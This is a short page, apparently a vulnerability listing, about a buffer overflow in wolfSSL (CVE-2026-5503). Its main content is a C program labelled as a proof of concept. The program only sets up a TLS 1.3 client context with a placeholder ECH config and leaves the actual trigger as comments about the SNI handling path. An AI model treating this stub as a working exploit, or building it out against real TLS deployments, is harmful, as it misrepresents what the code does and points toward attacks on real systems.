CVE-2026-5503 wolfSSL缓冲区溢出漏洞

/* * PoC for CVE-2026-5503 (wolfSSL Buffer Overflow) * This code demonstrates the context setup required to trigger the vulnerability. * Compile with: gcc -o poc_cve2026_5503 poc_cve2026_5503.c -lwolfssl */ #include <wolfssl/ssl.h> #include <wolfssl/wolfcrypt/error.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { WOLFSSL_CTX* ctx; WOLFSSL* ssl; int ret; // Initialize wolfSSL library wolfSSL_Init(); // Create WOLFSSL_CTX ctx = wolfSSL_CTX_new(wolfTLSv1_3_client_method()); if (ctx == NULL) { fprintf(stderr, "Error creating WOLFSSL_CTX\n"); return 1; } // Setup ECH (Encrypted ClientHello) with malicious config // The specific publicName here triggers the unconditional extension set const char* ech_config_list = "...malformed_ech_config..."; ret = wolfSSL_CTX_SetEchConfigs(ctx, ech_config_list, strlen(ech_config_list)); if (ret != SSL_SUCCESS) { printf("ECH config setup failed (expected in some envs), continuing...\n"); } // Create WOLFSSL object ssl = wolfSSL_new(ctx); if (ssl == NULL) { fprintf(stderr, "Error creating WOLFSSL object\n"); wolfSSL_CTX_free(ctx); return 1; } // Simulate connecting to a server that triggers the SNI write path // In a real scenario, this would involve a network handshake where // TLSX_EchChangeSNI is called before TLSX_SNI_Write. printf("wolfSSL object created. Triggering handshake logic...\n"); // Logic to trigger the bug would be inside the handshake state machine // specifically when TLSX_EchRestoreSNI fails to clean up serverNameX. // Cleanup wolfSSL_free(ssl); wolfSSL_CTX_free(ctx); wolfSSL_Cleanup(); return 0; }